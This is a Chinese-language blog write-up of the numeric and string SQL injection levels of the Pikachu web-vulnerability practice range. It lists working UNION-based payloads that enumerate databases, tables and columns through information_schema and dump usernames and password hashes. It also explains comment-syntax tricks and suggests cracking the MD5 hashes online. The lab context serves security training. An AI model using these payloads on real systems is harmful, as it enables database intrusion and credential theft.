Pikachu数字型注入、字符型注入通关详解

pikachu是一个漏洞练习平台,里面包含了大部分常见的Web漏洞,非常适合新手去联系,本文将详细讲述Pikachu靶场中的数字型注入、字符型注入这2关的攻略。

数字型注入攻略

界面如图
在这里插入图片描述1.当我们看到如上图的时候,我们应该想到这应该是利用POST进行传参的,如果想找到注入点,就先得利用Bp(BurpSuite)进行抓包,然后分析包里面的内容。

错误示范:当我们利用Hackbar,在url后面添加?id=1,页面无任何变化
在这里插入图片描述利用Bp抓包,得到的包信息如图
在这里插入图片描述此时,我们将红圈标出的内容复制,粘贴到hackbar的post data选项中,我们就可以通过改变ID的值,然后就可以控制页面输出。
在这里插入图片描述

2.判断列数

id=3 order by 2

在这里插入图片描述3.判断回显位(正常操作,id应该是一个不存在的值,然后去看回显位,但是因为Pikachu靶场自身设置原因,所以可以不用设置id的值不存在)

id=1 union select 1,2

在这里插入图片描述4.爆用户、数据库

id=1 union select user(),database()

在这里插入图片描述5.爆表

id=1 union select 1,group_concat(table_name)from information_schema.tables where table_schema = 'pikachu'

在这里插入图片描述注意:

  • 在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schematatablescolumns
  • schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name
  • tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schematable_name
  • columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schematable_namecolumn_name
    6.爆字段
id=1 union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'pikachu' and table_name='users'

在这里插入图片描述7.爆数据(密码是md5加密的,可以直接复制然后找个网站去查询就可以了)

id=1 union select username,password from users

在这里插入图片描述注:当输入id=1的时候,在后面跟上 or 1=1,可以直接爆出所有用户的数据

界面如图
在这里插入图片描述

字符型注入

1.判断是否有注入点,当在后面加一个’的时候,我们可以发现其会报sql语句错误,但当其进行注释数据 – a就能正常显示了
在这里插入图片描述在这里插入图片描述问题:这里输入的-- s是什么意思?

回答:Sql注入的本质其实就是系统对于用户输入的内容未进行过滤或者过滤不严格造成脱库的现象。比如其中sql语句是这样的

select * from username='' from user;

那么我们用户输入的内容就会被拼接到’'里面去,如果系统未过滤我们的内容,当我们输入user’的时候,sql语句就是

select * from username='user'' from user;

那么这样就是sql语句报错,而后面的-- s在传递给后端的时候,因为-- s中间有一个空格,这样就是造成sql语句里面的注释符号,这个s没有任何含义,可以是任意字符,并且–+也是同样的道理,只是–+ 在传递给后端的时候,+会被转译为空格,此时会与之前的–共同形成一个注释符,然后将这一行后面的内容注释掉。同理sql语句中,#也可以注释,#的URL编码是%23,测试如下图。
在这里插入图片描述在此我们就可以确定,这是一个单引号字符型注入。
2.判断列数
在这里插入图片描述3.判断回显位

?name=allen' union select 1,2 %23

在这里插入图片描述4.爆库、爆用户

?name=allen' union select user(),database() %23

在这里插入图片描述5.爆表

?name=allen' union select 1,group_concat(table_name)from information_schema.tables where table_schema = 'pikachu' %23

在这里插入图片描述6.爆字段

?name=allen' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'pikachu' and table_name='users'%23

在这里插入图片描述7.爆数据

?name=allen' union select username,password from users %23

在这里插入图片描述注意:同样,这些密码都是md5解密的

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值